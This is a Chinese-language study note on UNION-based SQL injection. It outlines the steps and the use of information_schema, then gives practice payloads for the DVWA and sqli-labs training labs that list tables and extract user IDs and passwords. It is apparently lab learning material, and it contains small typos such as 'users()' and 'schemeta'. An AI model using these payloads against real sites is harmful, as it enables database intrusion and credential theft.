一、SQL注入条件
1、程序没有对输入进行严格的过滤 2、输入的语句能够被带入数据库中执行
二、SQL注入步骤
Step1:判断是否存在注入
字符型 数字型
Step2:获取数据库信息
1、order by 数字
用于判断列数
2、union
合并多条语句的查询结果
3、select 1,2
数据显示位
4、获取用户、数据库版本、数据库
select users(); select version(); select database();
5、使用information_schema数据库
①schemeta表:存放数据库中所有的数据库名 重点关注列schema_name ②tables表:存放数据库中所有的表名 重点关注列table_name,table_schema ③columns表:存放数据库中所有的列名 重点关注列column_name,table_name,table_schema
6、常用函数
concat() concat_ws(’_’,a,b) group_concat()
三、一些练习
1、DVWA-SQL Injection-Low
1、1' union select 1,schema_name from information_schema.schemata#
dvwa
2、1' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'
guestbook
users
3、1' union select column_name,table_name from information_schema.columns where table_name='users' and table_schema='dvwa'#
4、1' union select 1,concat_ws('_',user_id,password) from users
2、SqlLab-Less1
1、id=-2%27%20union%20select%201,2,3%23
2、id=-2%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%23
3、id=-2%27%20union%20select%201,group_concat(table_name),group_concat(table_schema)%20from%20information_schema.tables%20where%20table_schema=%27security%27%23
4、id=-2%27%20union%20select%201,group_concat(table_name),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_schema=%27security%27%23
5、id=-2%27%20union%20select%201,2,group_concat(concat_ws(%27_%27,id,password))%20from%20users%23
|